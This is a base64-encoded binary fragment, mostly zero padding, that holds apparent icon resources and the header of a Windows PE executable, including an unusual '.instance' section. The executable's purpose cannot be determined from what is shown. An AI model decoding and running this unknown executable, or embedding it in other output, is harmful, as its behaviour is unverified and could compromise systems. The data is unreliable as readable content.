AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA 0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3 93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3 7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4 eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP +AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4 eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2 Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3 9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA 4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABQRQAATAEGAM9ZOzcAAAAAAAAAAOAADiELAQMKAHAAAAAqAAAAAAAA 2RgAAAAQAAAAgAAAAAC/fwAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAABAAAHmUBAAIA AAAAABAAABAAAAAAEAAAEAAAAAAAABAAAACAdQAAFQoAAACQAABQAAAAALAAABQTAAAAAAAA AAAAAAAAAAAAAAAAANAAAIAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABskQAACAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA lW8AAAAQAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAACwBAAAAgAAAABAAAACA AAAAAAAAAAAAAAAAAABAAADQLmlkYXRhAADqBgAAAJAAAAAQAAAAkAAAAAAAAAAAAAAAAAAA QAAAQC5pbnN0YW5j2AIAAACgAAAAEAAAAKAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAAAg AAAAsAAAACAAAACwAAAAAAAAAAAAAAAAAABAAADQLnJlbG9jAADSBgAAANAAAAAQAAAA0AAA AAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 